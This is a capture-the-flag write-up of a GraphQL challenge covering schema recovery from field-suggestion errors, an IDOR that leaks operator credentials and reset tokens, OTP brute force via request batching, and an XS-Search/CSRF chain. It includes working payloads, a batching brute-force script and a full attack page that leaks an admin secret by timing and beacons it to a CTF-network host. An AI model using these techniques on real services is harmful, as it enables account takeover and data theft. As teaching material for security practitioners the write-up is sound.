NorthSec CTF 2026 - Helios Fleet Network

Guardian, we need your help.
Helios Fleet Network manages autonomous vehicle fleets across the city. We've picked up signals that someone has been probing their platform - possibly looking for a way in.
Get inside, see how far the damage could go, and report back.
https://helios-fleet-network.ctf
Bonus - HTML Source Recon
Before touching the API, we looked at the login page source and found a developer comment:
<!-- internal: new operator self-registration requires invite code FLAG-a3f1d2e4b5c6789012345678abcdef01 -->
This invite code is the start of the challenge.
Flag 1 - Field suggestion schema recovery
GraphQL introspection was blocked:
{ "errors": [{ "message": "GraphQL introspection is not allowed by Apollo Server..." }] }
However, the engine still returned field suggestion errors on typos:
{
"errors": [{
"message": "Cannot query field \"systemstatus\" on type \"Query\". Did you mean \"systemStatus\"?"
}]
}
This behaviour is independent of introspection. Both Clairvoyance and InQL automate exactly this, they send thousands of candidate field names, collect the suggestions, and reconstruct the schema. We used Clairvoyance here:
clairvoyance -u https://helios-fleet-network.ctf/graphql -o schema.json
The output JSON can be imported into GraphQL Voyager to get an interactive graph of the full schema:

The reconstructed schema revealed a systemStatus query with a flag field not referenced anywhere in the frontend:
{
"query":"{ systemStatus { status flag } }"
}{
"data": {
"systemStatus": {
"status": "Helios Fleet Network operational",
"flag": "FLAG-b2a6fecff3bb5e83ac4f298360a33758"
}
}
}
The schema recovery also surfaced a hidden register mutation absent from the frontend UI, needed for Flag 2.
Flag 2 - IDOR via nested GraphQL traversal
The full query for register was: register(email, password, username, inviteCode). We used the invite code from the bonus flag to create an account:
{
"query": "mutation { register(email: \"attacker@helios-fleet-network.ctf\", password: \"test1234\", username: \"attacker\", inviteCode: \"FLAG-a3f1d2e4b5c6789012345678abcdef01\") { user { email role } } }"
}
The server responded with a helios_token JWT cookie and the role guest. We then queried me to find which organization our account was added to:
{ "data": { "me": { "email": "attacker@...", "role": "guest", "organizations": [{ "id": "1", "name": "Greenways Collective" }] } } }
Organisation IDs were sequential, so we enumerated upward. The traversal chain to reach the credentials is visible in GraphQL Voyager (Organization → roster → MemberProfile → status → AccountStatus → credentials → OperatorCredentials):

The status resolver returned the operator's credentials without checking that the requesting user owned the profile:
Organisation 2 (SolarWatch Mobility) gave us what we needed:
{
"query": "{ organization(id: 2) { name roster { user { email role } status { credentials { badge resetToken } } } } }"
}
{
"roster": [{
"user": { "email": "kai.nakamura@solarwatch.ctf", "role": "operator" },
"status": {
"credentials": {
"badge": "FLAG-7b87cda7e79531acf5aa4f57d95455a1",
"resetToken": "e4a7f2b891dc3065"
}
}
}]
}
Flag 3 - OTP bypass via GraphQL batching
We first reset the operator's password using the token obtained from Flag 2:
{
"query": "mutation ResetPassword($token: String!, $newPassword: String!) { resetPassword(token: $token, newPassword: $newPassword) }",
"variables": { "token": "e4a7f2b891dc3065", "newPassword": "Cat1337!" }
}
Logging in as the operator returned { otpRequired: true } and a partial JWT cookie (otpVerified: false). The cookie allowed calling verifyOtp but blocked all operator-level queries.
The OTP was a 4-digit code, 10 000 possibilities. Apollo Server's batching support accepts an array of operations in a single HTTP request, so we generated all possible codes in one shot:
import json
batch = [
{"query": f'mutation {{ verifyOtp(otp: "{str(i).zfill(4)}") {{ user {{ email role }} }} }}'}
for i in range(10000)
]
with open('batch.json', 'w') as f:
json.dump(batch, f)
We sent batch.json with the partial cookie. The server processed each operation sequentially; the matching OTP upgraded the cookie to otpVerified: true in a single round trip.

Decoding the updated helios_token on jwt.io confirms that:

With a fully verified operator session we can now hit operatorPanel:
{ "query": "{ operatorPanel { flag } }" }
{ "data": { "operatorPanel": { "flag": "FLAG-3b7e1f4a9d2c8056e3f1a42d7b85c039" } } }
Flag 4 - XS-Search via CSRF
This flag required chaining two separate vulnerabilities.
Timing oracle
Every authenticated user had a vault. The vault query took two very different paths depending on whether the search matched. A matching query returned immediately, a non-matching one waited 2500 ms:
# Non-matching → ~1047ms
{"query":"{ vault(query: \"UNVALID\") { found contents } }"}
# Matching → ~3551ms
{"query":"{ vault(query: \"VALID\") { found contents } }"}
The admin had a real flag in their vault. From a cross-origin context we couldn't read the response, but the timing difference was enough.
CSRF via Content-Type: text/plain
The helios_token cookie is set with SameSite=None, so the browser attaches it on every cross-origin request.
The standard GraphQL mutation sends Content-Type: application/json, which is not a CORS simple request, the browser would first fire a preflight OPTIONS. If the server's CORS policy rejects it, the real request never goes out. In this case the CORS policy reject it Access-Control-Allow-Origin: https://helios-fleet-network.ctf.
The bypass: the server also accepted Content-Type: text/plain. That qualifies as a simple request under the CORS spec, so the browser skips the preflight entirely and sends the request with the victim's cookies attached. The response is still blocked cross-origin, but for CSRF we only care that the request reaches the server, not that we can read the reply.
The submitIncidentReport mutation let operators submit a URL for administrator review. The admin bot automatically visited it:
{
"query": "mutation SubmitReport($url: String!) { submitIncidentReport(url: $url) { id submittedAt } }",
"variables": { "url": "https://shell.ctf/poc.html" }
}
Malicious page
At NorthSec, player machines are not directly reachable from the challenge infrastructure. The admin bot can't reach a server running on our host. We used a dedicated machine on the CTF network to serve the page. The helios_token cookie has the Secure flag, so the browser will not attach it on plain HTTP cross-origin requests, the nginx server must serve over HTTPS.
Self-signed certificate:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/ssl/private/shell.ctf.key \
-out /etc/ssl/certs/shell.ctf.crt \
-subj "/CN=shell.ctf" \
-addext "subjectAltName=DNS:shell.ctf"Nginx config (/etc/nginx/sites-available/shell.ctf):
server {
listen 80;
listen [::]:80;
server_name shell.ctf;
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name shell.ctf;
ssl_certificate /etc/ssl/certs/shell.ctf.crt;
ssl_certificate_key /etc/ssl/private/shell.ctf.key;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
root /var/www/html;
index index.html index.htm;
location / {
try_files $uri $uri/ =404;
}
}Enable and reload:
ln -s /etc/nginx/sites-available/shell.ctf /etc/nginx/sites-enabled/
nginx -t && systemctl reload nginxThe page that we host probed the admin's vault character by character with Content-Type: text/plain so the browser attached the admin's cookie without a preflight:
<!DOCTYPE html>
<html><body><script>
const TARGET = 'https://helios-fleet-network.ctf/graphql';
const C2 = 'https://shell.ctf/';
const ALIASES = 8;
const THRESHOLD = 2500 * 0.45;
const CHARSET = '0123456789abcdef';
function buildQuery(prefix) {
return '{ ' + Array.from({ length: ALIASES }, (_, i) =>
`a${i}: vault(query: ${JSON.stringify(prefix)}) { found }`
).join(' ') + ' }';
}
async function probe(prefix) {
const t0 = performance.now();
try {
await fetch(TARGET, {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'text/plain' },
body: JSON.stringify({ query: buildQuery(prefix) }),
});
} catch {}
return performance.now() - t0;
}
async function attack() {
let known = 'FLAG-';
while (known.length < 55) {
let advanced = false;
for (const c of CHARSET) {
const t = await probe(known + c);
if (t >= THRESHOLD) { known += c; advanced = true; break; }
}
if (!advanced) break;
}
new Image().src = C2 + '?flag=' + encodeURIComponent(known);
}
attack();
</script></body></html>
The callback arrived with: FLAG-c9734564a124a607f11a1953260dd4bd
Final Attack Path

Conclusion
GraphQL is still underrepresented in CTF tracks, so the goal here was to build something pedagogical, each flag isolated one concept that regularly shows up in real bug bounty and pentest engagements. Field suggestion enumeration, over-exposed resolvers, batching abuse, timing oracles: none of these are theoretical, they're the kind of things you find when the application happens to run GraphQL instead of REST.
Flag 4 deserves a special mention. The XS-Search + CSRF chain was directly inspired by a talk given by Lupin at NahamCon 2024, where he presented a real-world bug with a very similar structure. I simplified it for the CTF context but the core idea is his, worth watching if you want to see what this looks like at full complexity in a production target.